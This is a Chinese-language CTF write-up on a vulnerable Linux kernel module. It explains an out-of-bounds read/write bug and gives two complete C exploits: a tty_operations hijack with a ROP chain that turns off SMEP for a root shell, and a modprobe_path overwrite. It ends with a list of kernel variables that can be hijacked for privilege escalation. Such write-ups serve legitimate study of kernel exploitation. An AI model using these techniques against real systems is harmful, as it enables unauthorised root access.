1.越界造成的任意地址读写劫持tty_operations 执行ret2usr

  • 在通过前面的学习,我们已经对劫持tty_operations执行ret2usr,其实也可以劫持后执行rop的。方法差不多就是rop链不同。有兴趣可以试试。有了大致的了解。有了前置知识,那么利用这种方法做题就不会感觉到难了。
  • 既然学到了这里,就默认已经对题目给出的基本文件很熟悉了。而且也已经会对kernel进行最基本的调试,会用基本的做题流程了。下面直接对有漏洞的LKM拖入IDA,进行分析。

LKM分析

  • 函数区给了这么几个函数,init_module和hackme_exit就不进行过多的赘述。下面直接分析ioctl函数。通过大致对函数流程的分析,发现这是一道经典的菜单题,也就是普通用户态的那些堆题。只不过用kernel 进行了实现。下面来看看这些功能。
  • 下面是当v3==0x30001时。执行的流程,而v3又是传进来的cmd。也就是当传入参数为0x30001的时侯是这么一系列操作。而通过对这么一系列操作进行分析,大致意思是传进来一个idx,然后kfree掉 pool[2*idx],然后指针清零。也就是不存在uaf漏洞。但是真的是这样的吗?我们返回去打开start.sh脚本。
#! /bin/sh
#cd `dirname $0`
#stty intr ^]
#timelimit -t 180 -T 1 
qemu-system-x86_64 \
    -m 512M \
    -nographic \
    -kernel bzImage \
    -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
    -monitor /dev/null \
    -initrd initramfs.cpio \
    -smp cores=4,threads=2 \
    -cpu qemu64,smap,smep 2>/dev/null \
    -gdb  tcp::1234
  • 在cpu那一行,我们看到内核开了smap,smep保护。然后-smp一栏看到cores=4,threads=2。而且程序也没开启锁的操作,这不摆明是有竞争漏洞吗。(竞争的做法留到下次在写。)
  • 紧接着我们继续对 v3==0x30002进行分析。
  • 通过大致的掌握我们可以知道这个是edit功能。但是里面有几个不认识的指针。(这里是我进行了修改,所以好辨认。)然后翻回去看上面头部。
  • 发现idx char_ptr buf_len offset紧连一起,这说明这几个参数也是需要我们通过ioctl传进来。弄清这些后就能继续看题了。
  • edit大致看看,就知道这个offset是__int64 类型也就是有符号的所以我们可以传入负数来实现越界,来修改我们想修改的地方。
  • 再来看看v3==0x30003,类似于edit,就是把内核堆里的内容加上offset 保存到传入的buf中。这边跟edit一样offset是int64类型。
  • 最后来看看v3==0x30000时。
  • 这里是实现了一个kmalloc功能也就是实现一个add的功能。大致也没啥说的。

总结

  • 到这里我们就可以模拟写一个用于交互需要传入的结构体如下:
struct Date{
	uint32_t idx;//idx
	uint32_t padding;//对齐
	char* buf;//内容指针
	size_t offset;//偏移
	size_t buf_len;//用户请求大小
};
  • 然后根据标题提到的,利用了劫持tty_operations 执行ret2usr的方法。大致就是以下
  • 1.程序开启了kalsr,所以我们得通过越界改堆的next指针泄漏 kernel。
  • 2.然后由于程序开启了smep 和 smap ,所以我们得想办法绕过这些保护,smep很简单,在ret2usr的时候mov cr4,6f0; 而绕smap可以通过把rop和fake_tty_operations放进kernel堆内存空间。所以我们要泄漏heap_base。然后在打开ptmx命中空闲堆。(也可以在copy tty_struct堆时候泄漏kernel_base)然后就是常规的做法了。

exp

#include "stdio.h"
#include "fcntl.h" //open
#include "unistd.h"
#include "stdlib.h"
#include "sys/ioctl.h"
#include "stdint.h"
int fd,tty;

size_t prepare_kernel_cred=0xffffffff8104d3d0;
size_t commit_creds=0xffffffff8104d220;
size_t pop_rax_ret=0xffffffff8101b5a1;
size_t mov_cr4_rax_push_rcx_popfq_pop_rbp_ret=0xffffffff8100252b;
size_t swapgs_popfq_ret=0xffffffff81200c2e;
size_t iretq=0xffffffff81019356;
size_t pop_rsp_ret=0xffffffff810484f0;
size_t push_rax_pop_rsp_ret=0xffffffff810608d5;

void base_ptr(size_t kernel_base){
	prepare_kernel_cred=0xffffffff8104d3d0-0xffffffff81000000+kernel_base;
	commit_creds=0xffffffff8104d220-0xffffffff81000000+kernel_base;
	pop_rax_ret=0xffffffff8101b5a1-0xffffffff81000000+kernel_base;
	mov_cr4_rax_push_rcx_popfq_pop_rbp_ret=0xffffffff8100252b-0xffffffff81000000+kernel_base;
	swapgs_popfq_ret = 0xffffffff81200c2e - 0xffffffff81000000 + kernel_base;
	iretq=0xffffffff81019356-0xffffffff81000000+kernel_base;
	pop_rsp_ret=0xffffffff810484f0-0xffffffff81000000+kernel_base;
	push_rax_pop_rsp_ret=0xffffffff810608d5-0xffffffff81000000+kernel_base;
}


	
struct Data{
	uint32_t idx;
	uint32_t padding; //padding to size_t
	char* buf;//content ptr
	size_t buf_len;//offset to addr
	size_t offset;//the defined of user
};
size_t user_cs,user_rflags,user_rsp,user_ss;
void save_status(){
	asm(
		"mov user_cs,cs;"
		"mov user_ss,ss;"
		"mov user_rsp,rsp;"
		"pushf;"
		"pop user_rflags;"
	);
	puts("[+]Save Successful!");
}




void add(uint32_t idx,char *buf,size_t buf_len){
	struct Data data;
	data.idx=idx;
	data.buf=buf;
	data.buf_len=buf_len;
	data.offset=0;
	ioctl(fd,0x30000,&data);
}

void dele(uint32_t idx){
	struct Data data;
	data.idx=idx;
	ioctl(fd,0x30001,&data);
} 

void show(uint32_t idx,char *buf,size_t buf_len,size_t offset){
	struct Data data;
	data.idx=idx;
	data.buf=buf;
	data.buf_len=buf_len;
	data.offset=offset;
	ioctl(fd,0x30003,&data);
}

void edit(uint32_t idx,char *buf,size_t buf_len,size_t offset){
	struct Data data;
	data.idx=idx;
	data.buf=buf;
	data.buf_len=buf_len;
	data.offset=offset;
	ioctl(fd,0x30002,&data);
}
void root(){
	(*((void(*)(char*))commit_creds))((*((char*(*)(int))prepare_kernel_cred))(0));
}


void shell(){
	if(getuid()==0){
		puts("[+]Hacked!");
		system("/bin/sh");
	}else{
		puts("[-]Hacked Failed!");
		exit(0);
	}
}


void main(){
	save_status();
	fd=open("/dev/hackme",0);
	if(fd<0){
		puts("[-]Open Failed!");
		exit(0);
	}
	char buf[0x1000]={1};
	for(int b=0;b<0x100;b++){
		buf[b]=0x61;
	}
	add(0,buf,0x2e0);
	add(1,buf,0x2e0);
	dele(0);
	add(2,buf,0x100);
	add(3,buf,0x100);
	dele(2);
	show(3,buf,0x100,-0x100);
	size_t heap_base=((size_t*)buf)[0]-0x200;
	printf("heap_base==>0x%lx\n",heap_base);
	tty=open("/dev/ptmx",2);
	if(tty<0){
		puts("[-]TTY Open Failed!");
		exit(0);
	}
	show(1,buf,0x400,-0x400);
	size_t kernel_base=((size_t*)buf)[3]-0x625d80;
	printf("kernel_base==>0x%lx\n",kernel_base);
	base_ptr(kernel_base);

	size_t rop[0x20];
	int i=0;
	rop[i++]=pop_rax_ret;
	rop[i++]=0x6f0;
	rop[i++]=mov_cr4_rax_push_rcx_popfq_pop_rbp_ret; //通过控制cr4的值来关闭smep保护
	rop[i++]=0;
	rop[i++]=(size_t)root;
	rop[i++]=swapgs_popfq_ret;
	rop[i++]=0;
	rop[i++]=0;
	rop[i++]=iretq;
	rop[i++]=(size_t)shell;
	rop[i++]=user_cs;
	rop[i++]=user_rflags;
	rop[i++]=user_rsp;
	rop[i++]=user_ss;
	

	size_t fake_tty_operations[0x20];
	fake_tty_operations[0]=pop_rsp_ret;
	fake_tty_operations[1]=(size_t)heap_base;
	fake_tty_operations[2]=(size_t)heap_base;//rop in kernel
	fake_tty_operations[7]=push_rax_pop_rsp_ret;
	
	add(2,rop,0x100);
	dele(3);
	add(3,fake_tty_operations,0x100);
	size_t fake_tty_struct[4]={0};
	show(1,fake_tty_struct,0x400,-0x400);
	for(int i=0;i<4;i++){
		printf("%d idx :tty_struct_real_vaule==>%lx\n",i,fake_tty_struct[i]);
	}
	fake_tty_struct[3]=heap_base+0x100;
	edit(1,fake_tty_struct,0x400,-0x400);
	write(tty,buf,8);



}

2.任意地址写修改modprobe_path提权

  • 既然有越界,那么通过修改空闲堆的next指针就很容易拿到希望的地址,不过注意一下,由于题目的机制,拿到的时候会覆盖掉内容。所以我们需要通过拿我们不希望覆盖掉的地方。然后通过越界在操作。需要leak kernel_base 和 module_base(这个在mod_tree里面可以拿到,为了后面对pool的申请)然后在修改modprobe_path。
  • 可通过执行错误格式的elf文件来触发执行modprobe_path指定的文件 具体做法详见exp。
#include "stdio.h"
#include "fcntl.h" //open
#include "unistd.h"
#include "stdlib.h"
#include "sys/ioctl.h"
#include "stdint.h"
int fd,tty;

size_t prepare_kernel_cred=0xffffffff8104d3d0;
size_t commit_creds=0xffffffff8104d220;
size_t pop_rax_ret=0xffffffff8101b5a1;
size_t mov_cr4_rax_push_rcx_popfq_pop_rbp_ret=0xffffffff8100252b;
size_t swapgs_popfq_ret=0xffffffff81200c2e;
size_t iretq=0xffffffff81019356;
size_t pop_rsp_ret=0xffffffff810484f0;
size_t push_rax_pop_rsp_ret=0xffffffff810608d5;

void base_ptr(size_t kernel_base){
	prepare_kernel_cred=0xffffffff8104d3d0-0xffffffff81000000+kernel_base;
	commit_creds=0xffffffff8104d220-0xffffffff81000000+kernel_base;
	pop_rax_ret=0xffffffff8101b5a1-0xffffffff81000000+kernel_base;
	mov_cr4_rax_push_rcx_popfq_pop_rbp_ret=0xffffffff8100252b-0xffffffff81000000+kernel_base;
	swapgs_popfq_ret = 0xffffffff81200c2e - 0xffffffff81000000 + kernel_base;
	iretq=0xffffffff81019356-0xffffffff81000000+kernel_base;
	pop_rsp_ret=0xffffffff810484f0-0xffffffff81000000+kernel_base;
	push_rax_pop_rsp_ret=0xffffffff810608d5-0xffffffff81000000+kernel_base;
}


	
struct Data{
	uint32_t idx;
	uint32_t padding; //padding to size_t
	char* buf;//content ptr
	size_t buf_len;//offset to addr
	size_t offset;//the defined of user
};
size_t user_cs,user_rflags,user_rsp,user_ss;
void save_status(){
	asm(
		"mov user_cs,cs;"
		"mov user_ss,ss;"
		"mov user_rsp,rsp;"
		"pushf;"
		"pop user_rflags;"
	);
	puts("[+]Save Successful!");
}




void add(uint32_t idx,char *buf,size_t buf_len){
	struct Data data;
	data.idx=idx;
	data.buf=buf;
	data.buf_len=buf_len;
	data.offset=0;
	ioctl(fd,0x30000,&data);
}

void dele(uint32_t idx){
	struct Data data;
	data.idx=idx;
	ioctl(fd,0x30001,&data);
} 

void show(uint32_t idx,char *buf,size_t buf_len,size_t offset){
	struct Data data;
	data.idx=idx;
	data.buf=buf;
	data.buf_len=buf_len;
	data.offset=offset;
	ioctl(fd,0x30003,&data);
}

void edit(uint32_t idx,char *buf,size_t buf_len,size_t offset){
	struct Data data;
	data.idx=idx;
	data.buf=buf;
	data.buf_len=buf_len;
	data.offset=offset;
	ioctl(fd,0x30002,&data);
}
void root(){
	(*((void(*)(char*))commit_creds))((*((char*(*)(int))prepare_kernel_cred))(0));
}


void shell(){
	if(getuid()==0){
		puts("[+]Hacked!");
		system("/bin/sh");
	}else{
		puts("[-]Hacked Failed!");
		exit(0);
	}
}


void main(){
	save_status();
	fd=open("/dev/hackme",0);
	if(fd<0){
		puts("[-]Open Failed!");
		exit(0);
	}
	char buf[0x1000]={1};
	for(int b=0;b<0x100;b++){
		buf[b]=0x61;
	}
	add(0,buf,0x100);
	add(1,buf,0x100);
	add(2,buf,0x100);
	add(3,buf,0x100);
	add(4,buf,0x100);
	
	dele(0);
	show(1,buf,0x100,-0x100);
	size_t heap_base=((size_t*)buf)[0]-0x500;
	printf("heap_base==>0x%lx\n",heap_base);
	show(1,buf,0x300,-0x300);
	size_t kernel_base=((size_t*)buf)[5]-0x849ae0;
	printf("kernel_base==>0x%lx\n",kernel_base);
	size_t mod_tree_addr=kernel_base+0x811000;
	printf("mod_tree_addr==>%lx\n",mod_tree_addr);
	((size_t*)buf)[0]=mod_tree_addr+0x40;//这里加0x40是为了防止下面通过修改next申请到这个地方时把buf复制到 mod_tree处,然后覆盖掉module_base.
	edit(1,buf,0x100,-0x100);
	add(5,buf,0x100);
	add(6,buf,0x100); //mod_tree
	show(6,buf,0x100,-0x40);
	size_t module_base=((size_t*)buf)[3];
	printf("module_base==>%lx\n",module_base);
	size_t modprobe_path=kernel_base+0xffffffff8183f960-0xffffffff81000000;
	dele(2);
	((size_t*)buf)[0]=module_base+0x2400+0x100;
	edit(3,buf,0x100,-0x100);
	add(7,buf,0x100);
	printf("modprobe_path==>%lx\n",modprobe_path);
	add(8,buf,0x100);// 0xffffffffc0002440 -->pool
	((size_t*)buf)[0]=modprobe_path;
	((size_t*)buf)[1]=0x100;
	edit(8,buf,0x100,-0x100);
	char *name="/home/pwn/flag.sh\0";
	edit(0,name,18,0);
	system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/flag.sh");
	system("chmod +x /home/pwn/flag.sh");
	system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/tmp");
	system("chmod +x /home/pwn/tmp");

	system("/home/pwn/tmp");
	system("cat /home/pwn/flag");
	
	

}
  • 这里是别的师傅总结的能够通过类型方法修改的。
3)总结可劫持的变量

不需要劫持函数虚表,不需要传参数那么麻烦,只需要修改变量即可提权。

1.modprobe_path

// /kernel/kmod.c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
// /kernel/kmod.c
static int call_modprobe(char *module_name, int wait) 
    argv[0] = modprobe_path;
    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
                     NULL, free_modprobe_argv, NULL);
    return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
// /kernel/kmod.c
int __request_module(bool wait, const char *fmt, ...)
    ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);

__request_module - try to load a kernel module

触发:可通过执行错误格式的elf文件来触发执行modprobe_path指定的文件。

2.poweroff_cmd

// /kernel/reboot.c
char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
// /kernel/reboot.c
static int run_cmd(const char *cmd)
    argv = argv_split(GFP_KERNEL, cmd, NULL);
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
// /kernel/reboot.c
static int __orderly_poweroff(bool force)    
    ret = run_cmd(poweroff_cmd);


触发:执行__orderly_poweroff()即可。

3.uevent_helper

// /lib/kobject_uevent.c
#ifdef CONFIG_UEVENT_HELPER
char uevent_helper[UEVENT_HELPER_PATH_LEN] = CONFIG_UEVENT_HELPER_PATH;
// /lib/kobject_uevent.c
static int init_uevent_argv(struct kobj_uevent_env *env, const char *subsystem)
{  ......
    env->argv[0] = uevent_helper; 
  ...... }
// /lib/kobject_uevent.c
int kobject_uevent_env(struct kobject *kobj, enum kobject_action action,
               char *envp_ext[])
{......
    retval = init_uevent_argv(env, subsystem);
    info = call_usermodehelper_setup(env->argv[0], env->argv,
                         env->envp, GFP_KERNEL,
                         NULL, cleanup_uevent_env, env);
......}


4.ocfs2_hb_ctl_path

// /fs/ocfs2/stackglue.c
static char ocfs2_hb_ctl_path[OCFS2_MAX_HB_CTL_PATH] = "/sbin/ocfs2_hb_ctl";
// /fs/ocfs2/stackglue.c
static void ocfs2_leave_group(const char *group)
    argv[0] = ocfs2_hb_ctl_path;
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);

5.nfs_cache_getent_prog

// /fs/nfs/cache_lib.c
static char nfs_cache_getent_prog[NFS_CACHE_UPCALL_PATHLEN] =
                "/sbin/nfs_cache_getent";
// /fs/nfs/cache_lib.c
int nfs_cache_upcall(struct cache_detail *cd, char *entry_name)
    char *argv[] = {
        nfs_cache_getent_prog,
        cd->name,
        entry_name,
        NULL
    };
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);

6.cltrack_prog

// /fs/nfsd/nfs4recover.c
static char cltrack_prog[PATH_MAX] = "/sbin/nfsdcltrack";
// /fs/nfsd/nfs4recover.c
static int nfsd4_umh_cltrack_upcall(char *cmd, char *arg, char *env0, char *env1)
    argv[0] = (char *)cltrack_prog;
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);